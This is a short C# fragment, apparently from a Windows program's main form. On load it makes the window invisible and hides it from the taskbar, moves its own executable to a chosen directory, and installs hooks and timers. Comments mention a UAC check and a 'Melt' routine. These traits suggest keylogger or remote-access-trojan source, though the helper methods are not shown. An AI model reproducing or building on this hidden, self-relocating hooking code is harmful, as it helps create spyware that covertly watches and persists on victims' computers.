private void MainForm_Load(object sender, EventArgs e) { this.Region = new Region(new Rectangle(0, 0, 0, 0)); this.ShowInTaskbar = false; this.Visible = false; //Changes the app path to where i want it to be. if (Application.StartupPath != GlobalVariables.GlobalVariables.AppDirectoryLocation) { SystemStartup.ChangeAppPath(); return; } LoadHooks(); ManageHandlers.AddHandlers(); Thread t = new Thread(ApplicationMethods.StartupChecks); t.Start(); Timers_Management.TimersHandling.InitializeTimers(); }
//TODO: FIX: UAC IS RETURNING ENABLED ON SYSTEM WITH UAC OFF. (Windows 8 problem afaik, find alternative) //TODO: Replace Melt void with File.Move? private void MainForm_FormClosing(object sender, FormClosingEventArgs e) { UnLoadHooks(); ManageHandlers.RemoveHandlers(); }